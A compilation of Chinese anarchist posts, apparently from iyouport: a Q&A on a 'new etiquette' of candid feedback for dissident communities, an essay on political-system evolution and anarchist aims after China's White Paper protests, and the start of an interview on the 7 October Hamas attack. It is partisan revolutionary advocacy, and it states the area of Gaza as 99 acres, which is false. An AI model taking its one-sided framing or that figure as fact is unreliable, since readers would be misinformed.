Q：我已经明显感觉到团结在行动中的重要性。但也同时明显意识到，大家之间特别缺少默契，缺少基本的共识。平时讨论得太少了，花了太多时间用来鄙视其他人，吐槽讽刺，在解决方案方面几乎没有有效的沟通。 很多人认为一谈政治就吵架，为了气氛和谐，不谈正经事已经变成了默认的礼仪，越是亲近的关系就越是不方便交谈严肃的政治话题，在网上跟陌生人聊也聊不出任何有价值的东西。 一定程度上异议之间也出现了竞争关系，要么为避免吵架而拒绝评论，要么就是纯粹为吵架而瞎评论。交流的价值很低。 一些圈子里设立的道德规章原本是为了避免吵架，可结果比没有更糟糕。 我记得你们写过 “异议不懂爱”，在这个问题上要 “爱” 那就是客气，就意味着无法深入交流，这是矛盾的吗？

iyp：异议社区应该有自己的礼仪，而不是沿用统治者所规范的、以等级制和支配性为特征的传统礼仪。

道德本身是一种技术。是一种在社会关系中组织情感的技术。因此，应该从技术的角度上而不是从情感的角度上对待道德问题。

道德协议并不是没用的东西，它提供了重要的社会机制：信任网络、合作交易的可靠性、对破坏性的异常行为的限制。

传统的礼貌是一种基于两个原则的道德的实施。为了避免引起冲突，不愉快的事实必须被隐瞒（对陌生人）或扭曲（对你同情的人）。例如：你不喜欢你朋友的画作，但为了不得罪他，你说你喜欢这幅画。

我们中很多人都做过这样的事。那么这有什么问题吗？嗯，有。

礼貌是冲突管理的规则。传统的礼貌并不旨在解决冲突，而是简单地推开冲突。但回避冲突并没有帮助：回避只会导致紧张局势和冲突范围的扩大，处理冲突的文化也会萎缩。这种态度的消极后果类似于心理上的流离失所。

歪曲信息的效果甚至比沉默更糟糕。我们大家都是根据从外部收到的信息来做出决定的；对现实的信息不了解就无法做出好的决定，降低了管理的质量，使人（或组织）无法实现其目标。一个单独的“善意的谎言”可能相对无害，但当它被大量应用时，扭曲的效果就会成倍放大。

在一个基于自组织的社会中，非正式的规则是第一位的。而在一个等级森严的社会中则相反。为了恢复社会的自组织能力，就有必要启用促进合作和解决冲突的礼仪规则。

异议社区启用新礼仪以抵制传统礼仪，是一项重要的直接行动。

新礼仪的出发点应该是：反馈是一种重要的资源；提供反馈是为了提供帮助；拒绝反馈是一种伤害，至少是拒绝帮助。

新礼仪的第一条原则是向他人提供反馈。

新礼仪的第二条原则是：如果有人要求您保持沉默，您可以保持沉默。因为每个人都有权拥有个人界限。即使他/她选择了非建设性的行为。

但人们不应该歪曲信息。歪曲信息是一种武器；武器不是用来对付自己人或中立者的。不论一个谎言有多么地令人愉快，它依旧是破坏性的。

新礼仪建议以中立的方式报告错误和缺点。在传统礼仪中，批评是用来“惩罚”的，降低别人的地位，提高自己的地位。因此，您的意图可能会被误解并受到反击。基于立场的争执阻碍了有关技术性问题的信息传递。其实换一个说法就能改变这种情况，比如在批评他人之前先暴露自己，显示自己的弱点：“我也好不到哪里去，我也会犯错，甚至可能犯得比你更多”。

用批评来惩罚，通常是为了夸大错误和负面的观点。情感压力被投入到信息中。这不应该以任何方式进行。批评应该是建设性的，以平等的帮助的态度提出，以吸引对话。

不要忘记，传统的礼仪教给人们的是神经质的反应。即使是聪明人在这其中也会像神经质一样做出反应，因为他们已经被教导要这样做。使用新礼仪，重要的是展示不同态度的可能性，引导不同的角色模式。在新的部落里，地位不是在那些试图假装“永远正确”的人身上得到提高的，而是在那些容易承认错误并纠正自己行为的人身上得到提高。向其他人提供反馈是被鼓励的。

不安全的“安全空间”

「图」

传统礼仪总是在试图寻找某种“安全空间”，暗示甚至明文规定在某种情况下哪些话题不能说（这种规定一定程度上也进入了社交媒体和在线论坛）。安全空间的逻辑表明，传统的礼仪是如何陷入正反馈的破坏性循环的。

你越是回避伤害性的话，这些话就越能伤害你。反之亦反之：伤害性语言的经验将教会您轻视语言。真正的自由交流意味着多样性；安全空间是一个恶性循环，其中“安全的”和可允许的领域一直在缩小。

逃避作为一项原则加强了对语言的神经质，导致审查和自我审查，以及对语言的身体暴力的理由。这是一个极权主义制度的雏形，它破坏了社会交流有用信息和组织自己的能力。

自由交流是指参与者能够传递和接收所有可能的信息，包括所谓的“仇恨言论”。被允许的言论的范围越广，对了解情况很重要的信息被审查的机会就越小。这使得社区在管理上更具适应性和弹性—— 不仅在“不舒服的话题”方面，而且在总体上都是如此。例如，如果一个反种族主义项目引入了对种族主义言论的审查，那么随着时间的推移，它将变得越来越脆弱。审查制度越广泛，了解情况的重要信号就越经常进入“被禁止“的领域。如果一个反种族主义项目允许种族主义言论的存在，它就会变得更有适应性和弹性，最终更有效。

避免压力会增加结构的脆弱性。小的压力逐渐扩大了可能性的范围。当然，重要的是过渡到激进的环境不要太突然—— 越是渐进，就越容易适应。此外，保持小压力的间接影响也很重要。

停止使用身份说话的习惯

「图」

摆脱竞争的合作性的交流是可能的。

在一个社区中，一个人总是有一个非正式的地位。地位决定了他或她被周围人对待的方式。他们见面有多容易，他们共享哪些资源，以及他们被倾听的程度如何。因此，在地位问题上很可能会有冲突。地位取决于一个人的行动、姿态、言语对他人的评价。

合作性对话是指你试图传达关于你周围的现实如何运作的有用信息。竞争性对话是指当你试图让听众相信你的地位很高，而其他人的地位很低时。是为了在等级制度中获得更高的地位。竞争性言论往往被伪装成合作性言论，否则就没有人想听了。互联网上的绝大多数争论都

是竞争性的对话，于是它们很少能产生意义。

此外，高地位在旧观念中意味着一个人不应该表现出弱点或错误。一个错误是其他人攻击和测试你的实力地位的理由。错误之后是仪式性的嘲笑和垮台。因此，地位交流的主要目的是不惜一切代价隐藏你可能犯的错误。“新礼仪”的目的在此是相反的，它重视快速发现自己的错误的能力。

“新礼仪”来自于合作交流的逻辑：它的所有特征只是一种思想的延伸，即主要是传达和接收关于我们周围世界的有用信息。从新礼仪的角度来看，地位交流是干扰信号传输的噪音。检查你是否在试图提高地位的一个好方法是：故意让你的地位处于危险之中。在准确性重要的前提下，自我讽刺和开放是一个至关重要的生存性问题。

新礼仪的第三条原则：比别人更快地发现并向对话者传达你的错误，以便在对话中获得优势。

没有反馈就没有合作

「图」

没有人可以独自一人变得完美。要想做到这点，就必须在出错的情况下及时被纠正。这就是反馈对我们所有人来说的重要性。

如果一个人被剥夺了反馈，他的行为将逐渐开始“恶化”—— 没有反作用力就不知道该把自己限制在哪里。然后他根本上地就忘了做这件事。这就是人们常说的“权力使人堕落”。被宠坏的孩子、监狱看守和老年暴君都有同样的恶习。

团体和组织也是如此：政府只有在不断受到来自基层反抗的压力时，才能缓和其做法。然而，政府就是这样一个特殊的群体—— 其存在就是在抑制反馈。政府的权力越大，就越不倾向于将社会的反馈视为一种有用的资源，而是倾向于将其视为一种犯罪和侮辱。抗议的功能之一就是，它能使人们重新认识到现实。

没有他人的反馈，人们就会失去合作的能力，开始按照等级制度的规则行事。

真正的政治不是电视上的“名嘴”。而是我们普通的日常生活。这就是权力发挥作用的地方。也是革命的起点。

从对话开始。以新的礼仪重启对话。

新礼仪可以作为一个通往胜利的不充分但必要的条件。它是使我们能够相互理解、自我组织和解决矛盾的润滑剂。

Q：你们上次说白纸之后整个社会的激进程度都会提升，这个预测很准。果然如此。药厂起义、掀翻警车、烟花抗议，接连地发生，这在一年前还几乎不可想象。很振奋。这三年的防疫灾难的确改变了很多事。 关于未来，已经有一些人意识到了变革的可能性，众说纷纭，但其中大部分想法也就是改朝换代的层面。想听听无政府主义者的想法。

iyp：是时候讨论未来了。

在这之前，我们需要先讲述一些关于社会制度的演变规律 .....

📱 预告下集话题：

「图」

关于社会制度的演变，和我们想要的世界

□□

—— 未完待续 ——

原文

年终礼：在白纸上绘制未来(第8集) - 那个我们想要的世界 - iyouport

在白纸之上

尽管发生了一切，所有的悲剧都在我们身边发生，但我们仍然相信，生活应该是一场光荣的冒险。当我们战斗时，我们是在为自己的生命而战。

对整整一代人而言，他们知道，他们为什么要走上街头，因为他们没有未来！但是，他们的战斗，还有我们，也都知道，我们想要另一种未来，属于我们自己的未来。我们要做未来的主人。

「图」

你想要生活在一个什么样的社会中？与一群什么样的人、以什么样的方式相处？无论你的答案是什么，都必须有一个未来的形象。不是明天，而是此时此刻在此地。

我们拒绝用占卜的态度讨论局势和命运。因为我们不该是漂浮在历史河流中一根木桩，不断被带到一个个新的瀑布边，虽然满心的希望是能进入公海 ……

我们必须可以抵达我们想要去的地方。成为一只桨。

在最后一集中，我们将尝试摆脱中文里那种常见的被动和旁观的态度，以参与者的主动性来陈述。这也是本系列内容整体的基本战略目标。

「图」

欢迎回来！这里是第8集。

如果您错过了前面的内容，可以在下面看到：

- 《年终礼：在白纸上绘制未来 (第1集)—我们”伊朗了”吗？》

- 《年终礼：在白纸上绘制未来(第2集)—火炬已点燃，之后呢？》
- 《年终礼：在白纸上绘制未来(第3集)—要与统治者竞争智商，而不是与公众》
- 《年终礼：在白纸上绘制未来(第4集)—是的，有一种很难被镇压的起义》
- 《年终礼：在白纸上绘制未来(第5集)—砸烂闭环》
- 《年终礼：在白纸上绘制未来(第6集)—托尔斯泰还是张献忠？不…》
- 《年终礼：在白纸上绘制未来(第7集)—运动的吸睛度法则和反对派防骂仗的技巧》

「图」

社会系统一直在试验着它自己的组织形式，以实现生存和扩张。尝试新事物，或追随他人的成功。一种选择或另一种选择一波接一波地蔓延。

上世纪20年代前后，政治制度中出现了一种可怕的时尚：试图建立一个根本性的新社会秩序的浪潮。将社会置于绝对的控制之下—— 类似于工厂的制度。

工业生产的经验诱惑着政客。新技术使人们相信可能的成功。这个想法已经存在了很长时间，但此前从未显得如此实用。

起初，这一切似乎都很顺利。但人们常常忘记，即使在最“自由主义”的国家，极权主义的法西斯运动也在上升；而且“自由主义思想”本身也在变异。这场战斗在两个层面上进行：社会体系内部的冲突，以维持相对良性的政治制度，以及制度之间的竞争。

极权主义项目从未成为主导。一些系统故意做了另一种赌注：相对民主和相对自由。这一对抗到20世纪90年代才结束—— 随着苏联的解体，大家都清楚地看到，极权主义实验已经彻底失败。但是，如果某些组织形式的有效性条件发生变化了会怎么样？

这个新的20年不只是日历上的一个日期。这是另一波实验，将流行的组织形式转向更接近极权主义。不同的技术，不同的思路，但方向是一样的。

极权主义的技术作为成功尝试的明显例子正在蔓延。每一次被镇压的起义，每一场大规模枪击，都会增加它再次发生的机会。每一个生物

识别监控实例和每一个成功的立法禁令都会发挥作用。每一个地方斗争都是全球性的。

2019年之前的中国曾经一度是这股暗潮的旗舰，因为它以自己的例子驳斥了替代性的、有条件的软制度曾经提出的“实际论点”，即：激烈的政治压迫是不能与激烈的经济发展并存的。

而三年之后……

「图」

【

「图」

假设对于每个管理参数来说，都有一些有助于社会系统成功的策略；偏离这些策略会导致滞后和衰退。

做出策略选择的玩家既不知道所有可能的策略集合，也不知道在当前条件下每种策略的相对有效性。社会系统试图通过试验和试错来找到最佳策略组合 —— 以不同的比例。那些选错了的人逐渐淡出或消失；那些选对了的人则茁壮成长，不断扩大。

没有任何策略是绝对完美的。环境条件不断发生变化；其他参与者的决定也在不断发生变化；更有效的方法不断被发现。

在尝试的过程中，不同的策略系统通过支持它们的团体相互竞争。

感染力

「图」

展示成功会鼓励其他玩家的效仿。有效的战略传播。相反，一个坏的例子会增加其他玩家的策略规避。这就是为什么统治者不断鼓吹制度优越性。也是为什么有良好结果的起义的例子就能对周围其他专制国家产生如此大的伤害力。一场成功的革命会引发一大波革命—— 就像1640年、1790年、1848年之后那样。

「图」

Polity IV

上面这张图表显示了1800–2017年世界上专制国家、民主国家和无支配体制国家的数量，您会发现，除了从20世纪20年代初到40年代中期的急剧下降外，民主国家的数量几乎一直在增长。专制国家的数量在19世纪末有所下降，但从20世纪20年代开始迅速增长，并在80年代和90年代急剧下降。虽然无支配体制的数量从19世纪10年代中期到19世纪70年代有所上升，但之后一直到20世纪80年代都保持相对平稳。

这些数据显示了三个名义上的群体，他们在威权主义-民主主义的一般化参数上选择了不同的治理策略。图中的线条显示了对“有效策略”的看法是如何随着时间变化的。当然，统计数据受到了大企业对地方专制政权的支持的影响，但这只是本世纪初专制政权崛起的次要影响。

从中世纪的权力下放到专制国家的兴起，然后是它们的衰落和两个综合趋势的兴起：中央权力工具的改进和广泛渗透，以及权力机构的民主化。

极权主义的崛起

「图」

从20世纪20年代开始，一套专制的策略变得急剧流行起来。这股浪潮是伴随着哲学、艺术的新浪潮和科学突破的冲击而出现的。工业化和旧的规范和障碍的消解影响了大众的看法。到处都出现了这样的问题：为什么我们不能以不同的方式来组织事情？摒弃旧的垃圾，建立直接的、类似工厂的控制系统？为什么不拆掉旧的城市，用玻璃和钢铁建造新的城市？最后，为什么不把治理权交给一个有强烈意愿的聪明人，一种未来社会的工程师？…… 新的科学进步形成了普遍的期望，就像是“我们现在可以将社会完全置于控制之下了，中央的合理管理将是最有效的”。启蒙运动的世界观终于找到了它的理想形式。专制战略似乎就是“未来”本身。有些人不喜欢这样，有些人认为不应该这样，但很少有人认为专制政权会没有效果。毫不奇怪，有一些团体想要尝试新方法。

新的专制政权自然选择了最受欢迎的意识形态：民族主义、国家主义，所有那些成为1848年后政治的必要组成部分的思想。同样的情况也可以换个角度说 —— 最成功的大众意识形态的代表选择了“新的高效技术”。天真的头脑会将这些意识形态视为“专制主义的原因”，其实它们只是一套新战略工具。

有段时间里，形势不明朗，专制主义的成功令人恐惧，但最终钟摆向正确的方向摆动，这套专制主义策略开始失势。一组社会系统做出了选择；现实回报了结果；这组人输了。事实证明，即使专制政权在短期任务中是有效的，但从长期来看，他们还是输给了“民主”政权。也许专制政权的适应性较差，而这种适应性是在复杂环境中生存所必需的。苏联的崩溃就是这一失败的明显标志。

这方面的试验正在定期进行，但到目前为止，这种制度只在局部地区获胜。但请警惕，新技术可能会带来变化；高适应性可以成为集中管理的工具。

「图」

这个游戏涉及不同规模和性质的社会系统：国家、经济结构、社区和公社、来自多个国家或市场的系统。对于不同规模的社会系统，不同的策略集可能是有效的。

此外，每个系统针对不同的治理参数采用许多不同的策略。根据正在考虑的治理参数的不同，将看到不同的竞争性策略的集合。

关于平衡

「图」

有效的策略一方面取决于一些恒定的条件，另方面取决于玩家做出的选择以及环境如何变化。因此，对于每个博弈者来说，总有一些有效的策略会引起其他博弈者策略的改变，而这又会改变对前者策略的要求。可以说这是一个非平衡的状态。但也有这样的情况：每个玩家都在给定的条件下为自己选择了最有效的策略，没有人能够改变这种行为以使其变得更好。我们可以把这种状态称为“平衡”。这里的“平衡”概念与博弈论或经济学无关，它是广义的。

在政治世界中从来没有完美的平衡，但在一段时期内和在一定范围内可能会出现相对的平衡。

长期变化

「图」

自由意志主义的政治希望似乎与某种平衡的概念有关。一套有效的策略是已知的，通过遵循这套策略，玩家经常会到达一个去中心化社区

的稳定状态。所有玩家都在努力争取一种能使自己的利润最大化的状态，但这种状态并不是伴随着权力的不断增加，而是处于某个特定的扩张点；进一步的扩张不会增加，而是会减少利润，在这里，扩张开始放缓。他们所扮演的角色，即便不是特定的也是固定的。局部骚乱的发生，公司的兴衰，但以此为代价，关系的普遍结构被保留下来。

自由主义方法反对一种简单化的模式，即资本无止境地增长、帝国无止境地扩张，权力只需要不断增加力量。有受“市场均衡”形象影响的观点，也有受“帝国主义是资本主义的最高阶段”的逻辑影响的观点。但这两个模型都只捕捉到了正在发生的事情的一部分。以下是政治平衡的希望没有考虑到的因素：

- 在选择“有效策略”方面的不确定性情况迫使参与者进行试错
- 技术进步改变了玩家控制资源的能力
- 大集团的规划期限很长：他们可能为了一个遥远的目标而接受眼下的损失
- 大量资源的缓冲使实验中的选择-利润回报的周期在短时间内不太明显，而在明显的地方，时间跨度非常长
- 参与者并不总是理性地做出决定：领导者在群体中的特殊地位对行为具有影响。

（最后一条是网络上大部分中文推测的几乎唯一兴趣点。这是严重片面的，会导致分析变成占卜）

综合以上两种看法，就可以看到更全面的情况。是的，治理有一个“复杂性上限”，如果越过这个上限就会导致帝国系统崩溃。但是，即使在任何特定时刻，“复杂性上限”都对系统的增长施加了限制，并使权力在许多参与者之间的分配更有可能平衡，复杂性上限本身也在随着技术的进步而变化。

自由主义的可行性原理与有限的时间尺度有关。如果我们采取更大的时间框架，就会得到一个不同的画面。如果在任何特定的时刻，对我们来说都有某种平衡，只存在局部的偏离，那么随着时间的推移，参与者所渴望的平衡条件就会改变。看似平衡的状态似乎是一种不稳定的状态。从长期来看，世界倾向于其他一些状态。选择有效策略的“平衡中心”似乎会随着时间的推移而转移。自我调节的存在，限制了资本的积累，但自我调节的条件正在发生变化。而这些转变都具有一定的方向性。如果这是真的，那么权力平衡的概念就会出现在一个新的角度上。

「图」

只要限制治理的“复杂性上限”继续上升，政治系统世界中的长期平衡的形象可能会令人生畏。

> 我们需要评估的不是单一实验性乌托邦的可能性
> —— 我们需要评估整个世界体系转变的可能性。

我们的希望与激进建构主义的思想有关。想象一下，在“进化景观”上，有效策略的核心不是一个，而是多个？想象一下，不存在单一一种可能的平衡状态，而是多种？它们可能只是不为人知 ..... 那么无政府社会系统的任务就是通过各种选择来寻找有效策略的替代集和替代的均衡状态。它们可能需要不同的初始条件。那么黑天鹅可能就是救星。我们需要评估的不是单一实验性乌托邦的可能性 —— 我们需要评估整个世界体系转变的可能性。

「图」

在二十世纪之交，失败的全球计划产生了深深的悲观情绪和对转型想法的麻痹。然而，新世纪的前几十年已经清楚地表明，“历史的终结”已经关闭。越来越多的不稳定、不服从和不可治理性已经显现出来。在各种口号和旗帜下进行的反政府示威的数量与以前相比增加了几个数量级。上个世纪，企图重塑世界的政治奥林匹克项目都在道德和实践上破产了，很快就化为乌有。即使是看似最终取得了胜利的自由主义项目，事实上也只是溶入了一个全球资本主义体系和世界政治游戏中，自由主义机制并没有在这里和那里运作。

同时，迫切需要在尽可能广泛的地域范围内进行彻底的变革。和以前一样，我们需要一个新的世界。现实社会中存在的几乎所有东西都是不可接受的，不能作为现在和未来的框架。

但转变后的现实会是什么样子？你总会听闻一些关于“勇敢的新世界”的阴森预言，比如完全由后人类精英管理，或者是新的封建主义和大分裂，并伴随着残酷的暴力浪潮。伴随着这些图像的是全球环境灾难的前景。

但是，在各种阴霾的同时，一个不同的趋势正变得更加清晰和频繁。它是为直接民主、平等的集体主义、消除不平等和压迫以及寻求与自然的和谐共存而奋斗。这一趋势仍在“溢出”到许多社会潮流中，尚未形成单一的流。尽管如此，它使无政府主义的现实意义重现。

在所有其他传教士和算命先生都在表明他们自己是骗子或疯子的时候，无政府主义者是时候记住其使命，重新确认其全球项目了 ——

我们怎样才能勾勒出其可能的共同特征？

「图」

拆除巨型机

「图」

现代大众社会被挤在巨大的城市集群中。人类生活的绝大部分是由国家和资本主义生产、交换和消费关系的法律控制和指导的。结果是，现代人发现自己处于被巨大的机器般的力量操纵的对象的境地。

与此同时，我们还沉浸在不断的动荡之中。

现代世界是一个理性和深情的梦，被一时的外在控制的欲望所取代。这种状况与人的本性相抵触，很容易引起不满，并随之产生对其他事物的渴望。

但是，国家的畸形、沉重的躯体使人感到恐惧和怀疑：我们能否从它们的铁蹄下解放出来？无休止的买卖，以无数条线渗透到我们的日常生活中，加剧了我们的依赖性，更糟糕的是，它使我们堕落和腐化，破败就像从内部开始。

然而，生活的过程却把人推向了反叛。历史告诉我们，即使是最强大的社会体系也会像纸牌屋一样倒塌，有时会出乎意料。这些都是我们与现行秩序斗争的出发点。粉碎和拆除巨型机是无政府主义运动的宏伟任务。

「图」

一个新的社区

「图」

今天，我们正目睹着集体纽带的逐渐原子化和削弱。邻居们对彼此的了解越来越少，有时甚至完全回避对方。热闹嘈杂的家庭聚会越来越少，也越来越被迫。

造成这种痛苦的社会现象的原因很复杂，要找出主要的原因并不容易。这里有不断增长的个人娱乐领域，有个人舒适的普遍趋势，它总是受到“不必要的”亲密关系的威胁，还有臭名昭著的利己主义，它

是市场资本主义社会的有机组成部分，它将任何关系转化为两个“消费者”之间的临时互动，以获得共同利益。没有公民，只有消费者。“伙伴”这个词越来越流行，它具有明显的异化含义，与“心爱的人”、“朋友”、“队友”等概念互为反义词 ...

我们认为集体性的危机，阻止人们团结在一起的危机，是资本主义和国家地位的最灾难性的后果之一。除了在纯粹的伦理方面的道德化之外，无政府主义革命还要有具体的制度工具来重建团结，创造“新的共同体”。

当制度的爪子深入社会组织，把人们彼此分开、从社会的躯体上撕开时，所有人都将发现自己面临着重新建立温暖的横向联系和团结一致的需求。

是的，我们计划聚在一起做决定，在拥挤和嘈杂的厨房里做饭，而不是用快递袋吃垃圾食品，把我们的孩子介绍给街上的同龄人，而不是仅仅让他们坐下来孤独地看动画片..... 正在我们眼前迅速展开的人性退化可以而且必须停止。

经济

「图」

为了个人的致富而对人进行的管理，将世界上所有的生物和非生物视为盈利的资源，极少数人的病态奢侈和绝大多数人的匮乏—— 这些只是寥寥几笔，是现代经济模式中最引人注目的说明。其本质与人们公认为正确和公正的东西截然相反。拒绝资本主义的一大堆理由可以归结为两个主要论点：1）它是不道德的，不公正的和贬低的，2）它不能为所有人提供一个体面的生活标准。

现金和商品关系、雇佣劳动、投资、银行贷款和利率在人们的日常生活中是如此的根深蒂固，以至于有时想要摆脱它们似乎都是不现实的。仿佛没有它们马上就会出现饥荒和衰落。

但我们有东西可以对抗这种“趋势”：它是人类的劳动（今天有成千上万的人因为狗屁工作的灾难而浪费了他们自己的劳动时间）；它是工人的劳动经验，将使他们能够维持一个没有老板的经济；它是技术，将使社会能够根据其需求和价值来调节生产和分配系统 ..... 这应该足以将经济从精英转移到社会，以确保人们对生产的公平管理。

无政府主义运动的使命在于通过言语、行动和榜样将对经济正义原则

的理解扎根于社会，并在推翻国家和资本家之后，“清理空间”—— 为其实现提供社会和政治条件。

「图」

消除歧视

「图」

现代社会充满了基于许多不同理由的歧视。一个人或一个群体可能因许多属性和特征而受到歧视。其原因是古老的或新的偏见、集体责任的原则、以及在资本主义浸染下的世界中人们彼此的主动疏远。

偏见和集体责任被不择手段的政客巧妙地操纵，而疏远则是现行制度的 “副作用”。

人类生存中最古老和最痛苦的歧视形式之一是性别压迫。虽然所谓的“东西方” 一样，与过去公开的父权制相比已经有了明显的变化，但妇女仍然受到压迫。有关家庭暴力、性暴力和基于性别的暴力以及平均收入差异的数据表明了这一点。诋毁女性的做法和行为仍然很强烈。在我们的社会现实中，有许多无形的文化垃圾，阻止女性发挥自身的人类潜能。

所有的人与人之间的关系都被性别定型观念和基于这些观念的相互消费主义和自私所严重毒害。正因为如此，即使是最看似亲密的联系也会给人们带来痛苦和不快，而不是相反。资本主义和专制的世界观阻碍了真正的亲密关系的诞生。

无政府主义的使命是实现人与人之间真正的姐妹情谊/兄弟情谊，而不是任何群体身份。我们有不同的工具来处理这个问题：1）建设和管理社会的合作实践，这需要所有参与者在这个过程中的平等合作和相互温暖；2）革命的政治文化，这需要所有被压迫群体的代表有意识地积极参与共同的社会工作；3）最后，教育和扫盲，这有助于抛弃偏见。

因此，无政府主义项目的雄心是，通过消除歧视，改善人与人之间的关系，无论这听起来多么脆弱，都要把对邻里之爱重新带入我们的生活。作为社会现象的资本主义和专制主义阻碍了这一点。这个障碍并非不可逾越。

「图」

解决国家冲突

「图」

自古以来，人类社会一直面临着由种族或民族文化差异引发的暴力对抗。这些问题因宗教和种族标准而变得更加严重。民族和种族间冲突在民族国家的时代尤为激烈，哪块土地“理所当然地属于”哪个民族群体的问题不断搅动着世界。其结果是数以百万计的无辜人民遭受了无数的苦难：强迫同化、大规模驱逐出境，最后是残酷的大规模屠杀行为。民族国家仍是人类政治组织的基本形式，每时每刻，这类冲突都会在世界各地鲜活地爆发出来。

在人类历史上，几乎没有任何其他想象中的矛盾能像民族间的“矛盾”那样产生如此可怕的后果。民族间冲突往往是基于国家政治和经济精英和国家官僚机构的利益，以及对其邻国——“他者”，即其他民族群体—— 的最无知的偏见和扭曲的看法。

国家冲突思想的根源在于“我们还是他们”的问题。无政府主义提供了另一种选择：“我们和他们都是共同的、平等的”。通过拒绝民族国家—— 它只不过是压迫性的和不公正的工具 —— 无政府主义者为邦联开辟了道路：所有领土上的人民之间的公平合作。同一块土地可以同时属于塞尔维亚人或阿尔巴尼亚人；亚美尼亚人或阿塞拜疆人 ……这样的例子不胜枚举。平等和自治是无政府主义的社会支柱，是文化间富有成效的良性对话的先决条件。对这种对话的需求并没有减少，相反，在21世纪还有所增加。

与自然重新和谐相处

「图」

长期以来，资本主义和不断扩大的人类经济以及消费主义对自然界有极大的破坏性影响，这已经是一个普遍的事实。正如人们理解的那样，这种发展道路威胁着地球生态和人类的生存。

我们想对这个问题进行更深入的研究。今天占主导地位的人类中心主义世界观，以及由此产生的生活方式，是对世界和普遍存在的等级态度的特例。自然界是“人类的工场”……这种观点既不自然，也不道德，更不可接受。如果不克服与自然界的疏离并找到与自然界的和谐，就不可能实现人类的真正解放。

无政府主义能提供哪些生态措施？现代技术应该从利润最大化转向自

然的保护和再生，同时保证所有人都有体面的物质生活水平。理想情况下，应该完全克服人类对自然的破坏性影响的广泛扩张。人类积累的知识和能力使我们有可能完成这一任务，或至少接近完成这一任务。

生活空间的重组，消除作为人类居住形式的畸形的巨型城市，是至关重要的。安置必须与人相称，无论这听起来多么主观。毫无生气的人为景观，将人们与自然综合体隔绝开来，这种畸形现象必须让位于居住区与自然景观的和谐融合，这是自然与人类的交融。

「图」

对现状的不满不是全部。是对现实压迫和灾难的洞察力和不容忍的决心，加之对一个更好的世界的构想，融合成为反抗的力量。对动员来说这也是最有利的位置 —— 在此基础上的动员能带来最高程度的坚定和团结，不容易放弃。

无政府主义动员就在这个位置上。

「图」

会有一些时候，斗争似乎陷入困境。

□□

—— 完结 ——

「图」

原文

"一个核超级大国和一群一无所有的人民" ：来自雅法的无政府主义者谈巴勒斯坦的暴力和以色列的镇压

反抗者-寻求经验

殖民主义绝不会罢休。殖民主义绝不会主动退让，即使你好言相劝也绝无可能。去殖民化是一项崇高的事业，但实现中这一事业的道路往往是丑陋的，充满暴力的 …… 要求被压迫者总是以最纯粹的方式行事，就是要求他们永远处于被奴役的状态。

正如我们最初所言，哈马斯无用的原因并非其战术和战备，而是其战术与其声称要实现的目标背道而驰。

在哈马斯的背景下，独立的巴勒斯坦去殖民化解放运动不断被消解，

但是，自90年代开始至今都有存在的以色列无政府主义行动的生命力 —— 即便在那种军国主义为向心力的社会中 —— 从未完全熄灭。

而这，才是真正的解决方案。

10月7日，加沙地带的执政党哈马斯冲破了包围他们的围墙，发动了一系列袭击。以色列政府以全面的军事行动作为回应。虽然双方都以平民和士兵为目标，但这些事件只能在几十年的镇压和种族清洗的背景下才能理解。

日前刚刚结束对乔纳森·波拉克的采访。他是一名来自雅法的无政府主义者—— 雅法是阿拉伯人占多数的巴勒斯坦城镇，直到最近。乔纳森长期参与无政府主义者 AgainsttheWall 运动和其他反殖民团结活动，目前正因今年早些时候的抗议活动而面临牢狱之灾。

在下面的访谈中，他讲述了自己如何看待目前正在发生的新一轮敌对行动。他还描述了以色列司法系统如何从结构上压迫巴勒斯坦人，解释了如何支持巴勒斯坦囚犯，并评估了多年来声援行动的效果。

 如果您错过了：

- 《答读者问：关于哈马斯对以色列的袭击及其对全球局势的影响》
- 《暴力的非法性，合法性的暴力》

贝塔，抗议者焚烧轮胎。Oren Ziv/ActiveStills 拍摄

敌对行动升级

「图」

Q：10月7日星期六，哈马斯发动了一波协同攻击。以色列政府以全面军事打击作为回应。从您所处的位置，您如何看待这些事件？

就巴勒斯坦对以色列殖民主义的抵抗而言，这是一次具有历史意义的事件。现在要判断接下来会发生什么还为时过早，所以我更愿意谈论局势的大背景，而不是在细节尚不明确的情况下对正在发生的事件进行分析。否则现在所说的一切可能在几个小时后就会过时。

不过，毫无疑问的是，可怕的日子正在向我们走来。

这个具体故事的简短版本是，哈马斯部队设法突破了以色列对加沙地带的野蛮围困，进入或在某些情况下完全占领了隔离墙另一侧的以色列定居点。以色列方面的死亡人数多达数百人，媒体上出现的许多画面令人毛骨悚然、触目惊心，尤其是在社交媒体上流传的那些。但这话说早了。

我在这里使用的一些术语可能会让那些关注巴勒斯坦问题不深的人感到困惑，因为他们习惯于将“以色列定居点”一词仅用于以色列在1967年占领的地区。然而，我认为有必要将“以色列”作为一个定居者-殖民项目来理解，将犹太复国主义理解为犹太至上的殖民运动。如果我们忽视以色列种族清洗的悠久历史，那将是失职，那段历史导致了1948年以色列对巴勒斯坦人的种族清洗，被称为“浩劫”。今天的加沙地带，只是1948年前巴勒斯坦加沙地区的一小部分，居住着来自历史街区94个村庄和城镇的难民，那些村庄和城镇已经几乎没有活人了。如今，加沙地带80%的居民都是难民，他们被围困在占地 99 英亩的世界上最大的露天监狱中。在目前的战斗开始时被巴勒斯坦人占领或袭击的城镇，就是其中一些难民被抢走的家园。

在国际企业媒体中，这一事件大多被描绘成以色列和加沙之间的双边

战争，或者被描绘成缺乏任何背景的单方面、毫无意义的巴勒斯坦侵略。当然，这里缺少的背景是，巴勒斯坦人民，特别是加沙地带的巴勒斯坦人，所忍受的漫长的殖民奴役。

正如我刚才说到的，那些画面令人惊震和毛骨悚然。你不可能不被那种恐怖所感染。然而，它们并不能独立存在。除了上述历史背景之外，在过去二十年里，加沙一次又一次在以色列的空袭和军事行动中化为灰烬。现在，轰炸又一次开始了—— 在以色列主流社会及其媒体中，正公开讨论在加沙进行种族灭绝。如果不加以阻止，这确实很有可能发生。

任何要求巴勒斯坦人不要诉诸暴力的想法，都不能回避他们所面临的现实。2017–18年，当加沙的巴勒斯坦人向囚禁他们的以色列隔离墙游行时，他们被射杀了数百人。再次强调现在流传的照片的确令人毛骨悚然、触目惊心，我绝无意为之委婉、辩解或宽恕—— 但在斗争过程中，通往解放的道路几乎总是会出现怪诞的转折。

